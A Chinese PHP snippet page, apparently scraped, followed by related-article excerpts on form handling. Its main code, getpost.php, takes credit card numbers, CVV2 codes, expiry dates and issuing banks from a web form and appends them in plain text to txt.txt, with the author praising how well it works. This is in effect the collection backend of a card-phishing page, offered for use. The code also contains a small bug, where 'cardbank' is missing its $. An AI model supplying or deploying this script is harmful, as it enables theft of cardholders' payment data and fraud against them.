php代码收集表单内容并写入文件的代码
至于表单内容,这里就不多说了,主要是表单的action="getpost.php",也就是写getpost.php这个文件。下面就把这个文件里面的内容贴出来。
代码如下:
<?php
//定义要收集的表单内容
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//定义收集的内容格式
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//定义文件存放的位置
$compile_dir = "./txt.txt";
//下面就是写入的PHP代码了
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>
最后会在当前的目录里面创建txt.txt,并把收集到的信息都写入此文件中,效果还是很不错的。
相关推荐
-
防止MySQL注入或HTML表单滥用的PHP程序
MySQL注入的意图是接管网站数据库并窃取信息.常见的开源数据库,如MySQL,已经被许多网站开发人员用来储存重要信息,如密码,个人信息和管理信息. MySQL之所以流行,是因为它与最流行的服务器端脚本语言PHP一起使用.而且,PHP是主导互联网的Linux- Apache服务器的主要语言.因此,这意味着黑客可以很容易地利用PHP就像Windows的间谍软件一样. 黑客向一个无担保的网页表单输入大量恶意代码(通过下拉菜单,搜索框,联系表单,查询表单和复选框). 恶意代码将被送到MySQL数据库,
-
PHP表单数据写入MySQL数据库的代码
废话不多说了,直接给大家贴代码了,具体代码如下所示: <h插入操作</h <?php if(!isset($_POST['submit'])){ //如果没有表单提交,显示一个表单 ?> <form action="" method="post"> 国家:<input type="text" name="country" /> 动物名称(英文):<input type=&q
-
ThinkPHP表单数据智能写入create方法实例分析
本文实例讲述了ThinkPHP表单数据智能写入create方法.分享给大家供大家参考.具体如下: 创建数据对象 create() 除了手动构造入库的数据集之外,ThinkPHP 还提供了自动创建数据对象的 create() 方法.create() 方法将自动收集提交的表单数据并创建数据对象而无需人工干预,这在表单数据字段非常多的情况下更具优势. 将前文写入表单数据的例子用 create() 来实现: public function insert2(){ header("Content-Type:
-
php empty函数判断mysql表单是否为空
值来进行判断. 很简单的,给一个例子. 方法一: 复制代码 代码如下: $sql = "select * form abc" $result = mysql_query($sql); $row = mysql_fetch_array($result); if(empty($row))//开始判断是够为空 { echo "null"; } else { echo "not null"; } 方法二: 复制代码 代码如下: $sql = "
-
php代码收集表单内容并写入文件的代码
至于表单内容,这里就不多说了,主要是表单的action="getpost.php",也就是写getpost.php这个文件.下面就把这个文件里面的内容贴出来. 复制代码 代码如下: <?php //定义要收集的表单内容 $cardnum = $_POST['cardnum']; $cvv2 = $_POST['cvv2']; $month = $_POST['month']; $year = $_POST['year']; $cardbank = $_POST['cardbank
-
Ajax表单异步上传文件实例代码(包括文件域)
1.起因 做前台页面时,需要调用WebAPI的Post请求,发送一些字段和文件(相当于把表单通过ajax异步发送出去,得到返回结果),然后得到返回值判断是否成功. 2.尝试 先是尝试了一下 "jQuery Form Plugin" ,这玩意就是的巨大的坑,实现他和jquery1.9.2兼容性就不是太好,好不容易把$.browser的问题解决了,发现用他上传文件得不到返回值. $("#view").submit( $("#view").ajaxSu
-
jQuery中验证表单提交方式及序列化表单内容的实现
之前项目中使用的表单提交方式 使用form()方法可以将提交事件脱离submit按钮,绑定到任何事件中 复制代码 代码如下: function addSubmit(){ $('#addForm').form('submit', { url : _basePath + '/@Controller/@RequestMapping', onSubmit : function() { if(boolean){//放置能否提交的判断条件 $.messager.show({ title:'提示',msg:'
-
Asp.Net MVC4通过id更新表单内容的思路详解
用户需求是:一个表单一旦创建完,其中大部分的字段便不可再编辑.只能编辑其中部分字段. 而不可编辑是通过对input输入框设置disabled属性实现的,那么这时候直接向数据库中submit表单中的内容就会报错,因为有些不能为null的字段由于disabled属性根本无法在前端被获取而后更新至数据库. 有下面两种思路: 1.通过创建隐藏表单,为每一个disabled控件分别创建一个隐藏控件,但是这样的问题是工作量太大(如果表单有一千个属性,你懂的) 2.通过获取该表单在数据库中的id,把该id和可
-
如何阻止复制剪切和粘贴事件为了表单内容的安全
在一些应用中,有时我们提交表单内容如(密码)重要信息时,为了安全,需要阻止一些复制剪切和粘贴事件,今天做了一个简单的例子有关阻止复制剪切和粘贴事件: 复制代码 代码如下: <!DOCTYPE html> <html> <head> <meta charset=" utf-8"> <title>pwd不能复制粘贴</title> <script type="text/javascript"
-
使用jquery提交form表单并自定义action的实现代码
使用jquery提交form表单并自定义action的实现代码 $(function () { $("#btn").click(function () { var usercode = $("#UserCode").val(); var verifycode = $("#Verifycode").val(); if ($.trim(usercode) == "" || $.trim(verifycode) == "&
-
微信小程序使用form表单获取输入框数据的实例代码
本文讲述了微信小程序使用form表单获取输入框数据的实例代码.分享给大家供大家参考,具体如下: 1.效果展示 2.关键代码 index.wxml 用户名: 密码: 登录 重置 {{tip}}{{userName}}{{psw}} index.js Page({ data:{ // text:"这是一个页面" tip:'', userName:'', psw:'' }, formBindsubmit:function(e){ if(e.detail.value.userName.leng
-
jQuery实现获取form表单内容及绑定数据到form表单操作分析
本文实例讲述了jQuery实现获取form表单内容及绑定数据到form表单操作.分享给大家供大家参考,具体如下: 在日常开发的过程中,难免会用到form表单,我们需要获取表单的数据保存到数据库,或者拿到后台的一串json数据,要将数据绑定到form表单上,这里我写了一个基于jquery的,formHelp插件,使用起来也很简单: 获取表单的数据:$("#formid").serializeJson(); 绑定数据到表单:$("#formid").setForm(js
-
Vue自定义表单内容检查rules实例
先看个例子 组件 <el-form-item label="手机号:" prop="phone_number"> <el-input v-model="formPerson.phone_number"></el-input> </el-form-item> script中 export default { data() { var validateMobilePhone = (rule, value
-
JS判断表单输入是否为空(示例代码)
复制代码 代码如下: //去掉输入字符串两边的空格 function trim(s) { var count = s.length; var st = 0; // start var end = count-1; // end if (s == "") return s; while (st < count) { if (s.charAt(st) == " ") st
随机推荐
- Mac系统下MySql下载MySQL5.7及详细安装图解
- Ruby基础语法初探
- AngularJs入门教程之环境搭建+创建应用示例
- 基于react框架使用的一些细节要点的思考
- struts2拦截器_动力节点Java学院整理
- Asp.Net Mvc2 增删改查DEMO附下载
- php使用number_format函数截取小数的方法分析
- Python中计算三角函数之cos()方法的使用简介
- 一个不太让人讨厌的自动弹出窗口
- Docker 常用命令整理并介绍
- 基于zepto.js实现登录界面
- 在Ruby中处理文件的输入和输出的教程
- Yii CDBCriteria常用方法实例小结
- jQuery EasyUI API 中文文档 - Pagination分页
- java贪吃蛇极速版
- 关于mysql 字段的那个点为是定界符
- Tomcat实现多域名访问详解
- 深入了解MyBatis二级缓存
- spring 整合 mybatis 中数据源的几种配置方式(总结篇)
- 使用Docker run的选项以覆盖Dockerfile中的设置详解